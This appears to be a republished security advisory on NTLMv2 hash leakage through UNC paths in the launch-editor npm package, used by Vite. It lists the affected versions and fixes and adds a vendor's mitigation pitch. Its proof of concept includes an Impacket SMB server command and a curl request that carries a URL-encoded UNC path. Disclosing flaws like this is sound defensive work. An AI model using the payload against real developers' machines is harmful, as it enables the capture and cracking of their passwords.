GHSA-v6wh-96g9-6wx3
launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
launch-editornpmvitenpmDescription
Summary
The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.
Impact
If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:
- using Windows
- NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
- the user accesses the attackers website that sends request to a middleware using
launch-editor - the server that has the middleware using
launch-editoris running - the attacker knows the URL for that server and the middleware
This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.
Details
launch-editor accepts file paths without validating or restricting Windows UNC paths such as:
\\attacker-host\share
On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.
The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.
PoC
From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.
First, let's create a directory to serve as an SMB share.
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt
Then, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/data
Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).
Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'
Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | launch-editor | all versions | 2.14.1 |
| 📦npm | vite | ≥ 8.0.0&&< 8.0.16 | 8.0.16 |
| 📦npm | vite | ≥ 7.0.0&&< 7.3.5 | 7.3.5 |
| 📦npm | vite | all versions | 6.4.3 |
| 📦npm | vite-plus | all versions | 0.1.24 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for launch-editor. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update launch-editor to 2.14.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v6wh-96g9-6wx3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-v6wh-96g9-6wx3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-v6wh-96g9-6wx3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v6wh-96g9-6wx3 in your dependencies?
O3 detects GHSA-v6wh-96g9-6wx3 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.